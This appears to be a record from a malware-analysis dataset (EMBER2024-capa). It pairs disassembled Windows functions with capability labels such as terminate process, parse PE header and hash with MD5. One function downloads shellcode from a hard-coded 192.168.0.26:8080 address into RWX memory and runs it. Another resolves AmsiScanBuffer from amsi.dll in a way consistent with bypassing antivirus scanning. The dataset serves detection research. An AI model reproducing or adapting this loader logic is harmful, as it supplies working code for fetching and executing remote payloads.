joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140008188
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], r12
push r13
sub rsp, 0xb0
xor ebx, ebx
mov dword [rsp + 0x20], ebx
lea rcx, [rax - 0x78]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
nop
mov rax, qword gs:[0x30]
mov rdi, qword [rax + 8]
mov r12d, ebx
xor eax, eax
lock cmpxchg qword [0x14000d868], rdi
je 0x1400081e8
cmp rax, rdi
jne 0x1400081db
mov r12d, 1
jmp 0x1400081e8
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400081c1
mov eax, dword [0x14000d860]
cmp eax, 1
jne 0x1400081fd
lea ecx, [rax + 0x1e]
call sub.msvcrt.dll__amsg_exit
jmp 0x140008264
mov eax, dword [0x14000d860]
cmp eax, ebx
jne 0x14000825a
mov dword [0x14000d860], 1
lea r13, [0x140001548]
lea rdi, [0x140001530]
mov qword [rsp + 0x30], rdi
mov eax, ebx
mov dword [rsp + 0x24], ebx
cmp rdi, r13
jae 0x14000824c
cmp eax, ebx
jne 0x14000824c
mov rcx, qword [rdi]
cmp rcx, rbx
je 0x140008241
call rcx
mov dword [rsp + 0x24], eax
add rdi, 8
mov qword [rsp + 0x30], rdi
jmp 0x14000822a
cmp eax, ebx
je 0x140008264
mov eax, 0xff
jmp 0x1400083ac
mov dword [0x14000b554], 1
mov eax, dword [0x14000d860]
cmp eax, 1
jne 0x14000828c
lea rdx, [0x140001528]
lea rcx, [0x1400014b8]
call sub.msvcrt.dll__initterm
mov dword [0x14000d860], 2
cmp r12d, ebx
jne 0x14000829b
mov rax, rbx
xchg qword [0x14000d868], rax
cmp qword [0x14000d870], rbx
je 0x1400082c3
lea rcx, [0x14000d870]
call fcn.14000862c
cmp eax, ebx
je 0x1400082c3
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
call qword [0x14000d870]
mov rcx, qword [sym.imp.msvcrt.dll__wcmdln]
cmp qword [rcx], rbx
jne 0x1400082d9
mov eax, 0xff
jmp 0x1400083ac
mov rcx, qword [rcx]
mov qword [rsp + 0x28], rcx
mov edx, dword [rsp + 0x20]
cmp word [rcx], 0x20
ja 0x14000835e
cmp word [rcx], bx
je 0x1400082f4
cmp edx, ebx
jne 0x14000835e
cmp word [rcx], bx
je 0x14000830a
cmp word [rcx], 0x20
ja 0x14000830a
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x1400082f4
test byte [rsp + 0x7c], 1
movzx eax, word [rsp + 0x80]
mov r9d, 0xa
cmovne r9d, eax
mov r8, rcx
xor edx, edx
lea rcx, [0x140000000]
call fcn.140003b3c
mov dword [0x14000b550], eax
cmp dword [0x14000b534], ebx
jne 0x140008348
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x14000b554], ebx
jne 0x14000835c
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x14000b550]
jmp 0x1400083ac
cmp word [rcx], 0x22
jne 0x140008371
mov eax, ebx
cmp edx, ebx
sete al
mov edx, eax
mov dword [rsp + 0x20], eax
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x1400082e5
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov r12, qword [r11 + 0x20]
mov rsp, r11
pop r13
ret
sub rsp, 0x28
call fcn.14018a000
add rsp, 0x28
jmp 0x140008188
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create http request
Execute shellcode via indirect call
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x14001a008]
xor rax, rsp
mov qword [rsp + 0x38], rax
xor ebx, ebx
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rsp + 0x28], rbx
lea rdx, str.http:__192.168.0.26:8080_shellcode.bin
mov rcx, rax
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
xor ecx, ecx
mov edx, 0x2dc6c0
mov r8d, 0x1000
mov rbx, rax
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea r9, [rsp + 0x30]
mov r8d, 0x2dc6c0
mov rdx, rax
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140001088
call rdi
xor eax, eax
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.1400010c0
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret

Function at 0x140005a8c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140005888
Function at 0x140008b4c
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140008b7c
xor eax, eax
jmp 0x140008c3f
mov rbp, rbx
cmp word [rax], si
je 0x140008ba1
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140008b88
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140008b84
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140008a6c
movsxd r14, eax
test eax, eax
jne 0x140008bdf
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140008b75
mov rcx, r14
call fcn.140009a28
mov rdi, rax
test rax, rax
jne 0x140008bf8
xor ecx, ecx
call fcn.1400070cc
jmp 0x140008bd4
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140008a6c
test eax, eax
jne 0x140008c29
mov rcx, rdi
call fcn.1400070cc
jmp 0x140008c33
xor ecx, ecx
call fcn.1400070cc
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x14000c130
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.140007b3c
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14000c1ba
cmp byte [rbp - 0x21], r15b
je 0x14000c1b5
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x14000c1f0
call fcn.14000a238
test eax, eax
jne 0x14000c1dc
cmp byte [rbp - 0x21], r15b
je 0x14000c1d4
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x14000c1f0
cmp byte [rbp - 0x21], r15b
je 0x14000c1ed
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14000711c
test eax, eax
jne 0x14000c290
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.140007b3c
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14000c22f
cmp byte [rbp - 0x21], r15b
je 0x14000c264
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x14000c264
call fcn.14000a238
test eax, eax
jne 0x14000c250
cmp byte [rbp - 0x21], r15b
je 0x14000c249
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x14000c264
cmp byte [rbp - 0x21], r15b
je 0x14000c261
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14000711c
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14000c290
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14000c293
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14000c2a1
mov rcx, rdi
call fcn.1400070cc
cmp byte [rbp + 0x3f], r15b
je 0x14000c2b0
mov rcx, qword [rbp + 0x27]
call fcn.1400070cc
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x1400024d0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
lea rcx, str.amsi.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ecx, dword [0x140064830]
mov rsi, rax
movsd xmm0, qword [str.AmsiScanBuffer]
mov dword [rsp + 0x38], ecx
movzx ecx, word [0x140064834]
movsxd rdi, dword [rax + 0x3c]
add rdi, rax
mov word [rsp + 0x3c], cx
movzx ecx, byte [0x140064836]
movsd qword [rsp + 0x30], xmm0
mov byte [rsp + 0x3e], cl
cmp dword [rdi], 0x4550
je 0x140002548
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_get_headers._Module_doesnt_match_NT_signature
call fcn.1400621a0
xor eax, eax
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
mov ecx, 0x20
mov qword [rsp + 0x50], rbx
call fcn.140062b78
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
mov edx, dword [rdi + 0x88]
add rdx, rsi
mov ecx, dword [rdx + 0x18]
mov dword [rax + 0x18], ecx
mov ecx, dword [rdx + 0x1c]
add rcx, rsi
mov qword [rax], rcx
mov ecx, dword [rdx + 0x20]
add rcx, rsi
mov qword [rax + 8], rcx
mov eax, dword [rdx + 0x24]
lea rdx, str.Module_Base_Address:
add rax, rsi
mov qword [rbx + 0x10], rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400621a0
mov rcx, rax
mov rdx, rsi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
mov rcx, rax
lea rdx, [0x1400011c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rcx, rax
lea rdx, [0x140064468]
call fcn.1400621a0
mov r9, rbx
mov qword [rsp + 0x20], rdi
mov rdx, rsi
lea rcx, [rsp + 0x30]
call fcn.140002240
mov rcx, rbx
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
jmp fcn.140062b70

Function at 0x14006370c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140063756
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140063756
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140063756
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140063756
cmp dword [rcx + 0x84], 0xe
jbe 0x140063756
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140063758
xor al, al
add rsp, 0x28
ret
Function at 0x180001120
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov edi, r8d
mov rsi, rdx
mov rbp, rcx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
jne 0x180001153
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov rcx, rax
mov qword [rsp + 0x30], rbx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
je 0x180001197
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r11d, eax
add r11, rbx
and edi, 0xf
jbe 0x180001192
cmp rbx, r11
jae 0x180001197
add edi, 0xffffffff
movzx eax, word [rbx]
lea rbx, [rbx + rax*2 + 2]
jne 0x180001180
cmp rbx, r11
jb 0x18000119b
xor eax, eax
jmp 0x1800011a7
xor eax, eax
cmp word [rbx], ax
cmove rbx, rax
mov rax, rbx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x180003100
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov rax, rsp
mov qword [rax + 0x18], r8
mov qword [rax + 0x10], rdx
push rbx
push rbp
push rsi
push rdi
push r12
sub rsp, 0x50
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov rbp, r8
mov rsi, rdx
xor edi, edi
mov dword [rax + 0x20], edi
lea rcx, [rax - 0x50]
call fcn.180014134
nop
call fcn.1800137a4
mov rcx, rax
test rax, rax
setne dil
test edi, edi
jne 0x180003151
mov ecx, 0x80004005
call fcn.1800016d0
int3
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsi], rax
mov dword [rsp + 0x98], 1
mov rcx, qword [rbp]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x180003225
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp]
lea rcx, [rsp + 0x28]
call fcn.1800148b4
lea rcx, [rsp + 0x28]
call fcn.180013fd0
mov rbx, rax
lea ecx, [rax + 1]
movsxd rdi, ecx
mov rcx, rdi
call fcn.180026504
mov r12, rax
mov r8, rdi
xor edx, edx
mov rcx, rax
call fcn.180028070
test r12, r12
jne 0x1800031e1
xor r9d, r9d
lea r8, [0x180047660]
lea rdx, [0x180047670]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call fcn.180026904
int3
mov r8d, ebx
mov rdx, r12
lea rcx, [rsp + 0x28]
call fcn.180013d68
lea rcx, [rsp + 0x28]
call fcn.1800140ac
xor eax, eax
or rbx, 0xffffffffffffffff
mov rcx, rbx
mov rdi, r12
repne scasb al, byte [rdi]
not rcx
lea r8d, [rcx - 1]
mov rdx, r12
mov rcx, rsi
call fcn.180001370
mov rcx, r12
call fcn.1800269b0
jmp 0x18000324e
xor eax, eax
or rbx, 0xffffffffffffffff
mov rcx, rbx
lea rdi, [0x180047618]
repne scasb al, byte [rdi]
not rcx
lea r8d, [rcx - 1]
lea rdx, [0x180047618]
mov rcx, rsi
call fcn.180001370
nop
lea rcx, [rsp + 0x28]
call fcn.18001437c
nop
mov rdx, qword [rbp]
sub rdx, 0x18
lock xadd dword [rdx + 0x10], ebx
dec ebx
test ebx, ebx
jg 0x180003275
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rax, rsi
add rsp, 0x50
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x180007e40
Capabilities:
Hash data with md5

Disassembly:
push rbp
push rsi
push rdi
push r12
push r13
sub rsp, 0xd0
mov qword [rsp + 0x40], 0xfffffffffffffffe
mov qword [rsp + 0x100], rbx
mov rax, qword [0x1800572b0]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov rbp, r8
mov rsi, rdx
mov r12, rcx
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x38], r8
xor edi, edi
mov dword [rsp + 0x20], edi
call fcn.1800137a4
mov rcx, rax
mov eax, edi
test rcx, rcx
setne al
test eax, eax
jne 0x180007eaa
mov ecx, 0x80004005
call fcn.1800016d0
int3
mov rax, qword [rcx]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsi], rax
mov ebx, 1
mov dword [rsp + 0x20], ebx
call fcn.1800137a4
mov rcx, rax
mov eax, edi
test rcx, rcx
setne al
test eax, eax
jne 0x180007edf
mov ecx, 0x80004005
call fcn.1800016d0
int3
mov rax, qword [rcx]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x28], rax
mov byte [rsp + 0xb0], 0
xor eax, eax
mov qword [rsp + 0xb1], rax
mov dword [rsp + 0xb9], eax
mov word [rsp + 0xbd], ax
mov byte [rsp + 0xbf], al
mov dword [rsp + 0x50], edi
mov dword [rsp + 0x54], edi
mov dword [rsp + 0x58], 0x67452301
mov dword [rsp + 0x5c], 0xefcdab89
mov dword [rsp + 0x60], 0x98badcfe
mov dword [rsp + 0x64], 0x10325476
mov rax, qword [rbp]
mov r13d, dword [rax - 0x10]
sub ebx, dword [rax - 8]
mov eax, dword [rax - 0xc]
or eax, ebx
jge 0x180007f5a
xor edx, edx
mov rcx, rbp
call fcn.180001670
mov r9d, r13d
mov r8, qword [rbp]
lea rdx, [rsp + 0x50]
mov rcx, r12
call fcn.180008030
lea r8, [rsp + 0xb0]
lea rdx, [rsp + 0x50]
mov rcx, r12
call fcn.180008120
nop word [rax + rax]
movzx r8d, byte [rsp + rdi + 0xb0]
lea rdx, str._02x
lea rcx, [rsp + 0x28]
call fcn.180005970
mov rbx, qword [rsp + 0x28]
mov r8d, dword [rbx - 0x10]
mov rdx, rbx
mov rcx, rsi
call fcn.1800057c0
inc rdi
cmp rdi, 0x10
jl 0x180007f90
lea rdx, [rbx - 0x18]
or ebx, 0xffffffff
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x180007fe5
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp]
sub rdx, 0x18
lock xadd dword [rdx + 0x10], ebx
dec ebx
test ebx, ebx
jg 0x180008002
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
mov rax, rsi
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.1800260a0
mov rbx, qword [rsp + 0x100]
add rsp, 0xd0
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x180012170
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x28
lea rcx, str.This_module_subscribed_to_event_CHttpModule::OnBeginRequest_but_did_not_override_the_method_in_its_CHttpModule_implementation.__Please_check_the_method_signature_to_make_sure_it_matches_the_corresponding_method._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_DebugBreak]
xor eax, eax
add rsp, 0x28
ret
Function at 0x180012190
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x28
lea rcx, str.This_module_subscribed_to_event_CHttpModule::OnPostBeginRequest_but_did_not_override_the_method_in_its_CHttpModule_implementation.__Please_check_the_method_signature_to_make_sure_it_matches_the_corresponding_method._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_DebugBreak]
xor eax, eax
add rsp, 0x28
ret

Function at 0x1800121b0
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x28
lea rcx, str.This_module_subscribed_to_event_CHttpModule::OnAuthenticateRequest_but_did_not_override_the_method_in_its_CHttpModule_implementation.__Please_check_the_method_signature_to_make_sure_it_matches_the_corresponding_method._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_DebugBreak]
xor eax, eax
add rsp, 0x28
ret

Function at 0x1800121d0
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x28
lea rcx, str.This_module_subscribed_to_event_CHttpModule::OnPostAuthenticateRequest_but_did_not_override_the_method_in_its_CHttpModule_implementation.__Please_check_the_method_signature_to_make_sure_it_matches_the_corresponding_method._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_DebugBreak]
xor eax, eax
add rsp, 0x28
ret

Function at 0x1800121f0
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x28
lea rcx, str.This_module_subscribed_to_event_CHttpModule::OnAuthorizeRequest_but_did_not_override_the_method_in_its_CHttpModule_implementation.__Please_check_the_method_signature_to_make_sure_it_matches_the_corresponding_method._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_DebugBreak]
xor eax, eax
add rsp, 0x28
ret

Function at 0x180012210
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x28
lea rcx, str.This_module_subscribed_to_event_CHttpModule::OnPostAuthorizeRequest_but_did_not_override_the_method_in_its_CHttpModule_implementation.__Please_check_the_method_signature_to_make_sure_it_matches_the_corresponding_method._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_DebugBreak]
xor eax, eax
add rsp, 0x28
ret

Function at 0x180012230
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x28
lea rcx, str.This_module_subscribed_to_event_CHttpModule::OnResolveRequestCache_but_did_not_override_the_method_in_its_CHttpModule_implementation.__Please_check_the_method_signature_to_make_sure_it_matches_the_corresponding_method._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_DebugBreak]
xor eax, eax
add rsp, 0x28
ret

Function at 0x180012250
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x28
lea rcx, str.This_module_subscribed_to_event_CHttpModule::OnPostResolveRequestCache_but_did_not_override_the_method_in_its_CHttpModule_implementation.__Please_check_the_method_signature_to_make_sure_it_matches_the_corresponding_method._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_DebugBreak]
xor eax, eax
add rsp, 0x28
ret
Function at 0x180012270
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x28
lea rcx, str.This_module_subscribed_to_event_CHttpModule::OnMapRequestHandler_but_did_not_override_the_method_in_its_CHttpModule_implementation.__Please_check_the_method_signature_to_make_sure_it_matches_the_corresponding_method._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_DebugBreak]
xor eax, eax
add rsp, 0x28
ret

Function at 0x180012290
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x28
lea rcx, str.This_module_subscribed_to_event_CHttpModule::OnPostMapRequestHandler_but_did_not_override_the_method_in_its_CHttpModule_implementation.__Please_check_the_method_signature_to_make_sure_it_matches_the_corresponding_method._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_DebugBreak]
xor eax, eax
add rsp, 0x28
ret

Function at 0x1800122b0
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x28
lea rcx, str.This_module_subscribed_to_event_CHttpModule::OnAcquireRequestState_but_did_not_override_the_method_in_its_CHttpModule_implementation.__Please_check_the_method_signature_to_make_sure_it_matches_the_corresponding_method._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_DebugBreak]
xor eax, eax
add rsp, 0x28
ret

Function at 0x1800122d0
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x28
lea rcx, str.This_module_subscribed_to_event_CHttpModule::OnPostAcquireRequestState_but_did_not_override_the_method_in_its_CHttpModule_implementation.__Please_check_the_method_signature_to_make_sure_it_matches_the_corresponding_method._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_DebugBreak]
xor eax, eax
add rsp, 0x28
ret

Function at 0x1800122f0
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x28
lea rcx, str.This_module_subscribed_to_event_CHttpModule::OnPreExecuteRequestHandler_but_did_not_override_the_method_in_its_CHttpModule_implementation.__Please_check_the_method_signature_to_make_sure_it_matches_the_corresponding_method._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_DebugBreak]
xor eax, eax
add rsp, 0x28
ret

Function at 0x180012310
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x28
lea rcx, str.This_module_subscribed_to_event_CHttpModule::OnPostPreExecuteRequestHandler_but_did_not_override_the_method_in_its_CHttpModule_implementation.__Please_check_the_method_signature_to_make_sure_it_matches_the_corresponding_method._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_DebugBreak]
xor eax, eax
add rsp, 0x28
ret

Function at 0x180012330
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x28
lea rcx, str.This_module_subscribed_to_event_CHttpModule::OnExecuteRequestHandler_but_did_not_override_the_method_in_its_CHttpModule_implementation.__Please_check_the_method_signature_to_make_sure_it_matches_the_corresponding_method._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call qword [sym.imp.KERNEL32.dll_DebugBreak]
xor eax, eax
add rsp, 0x28
ret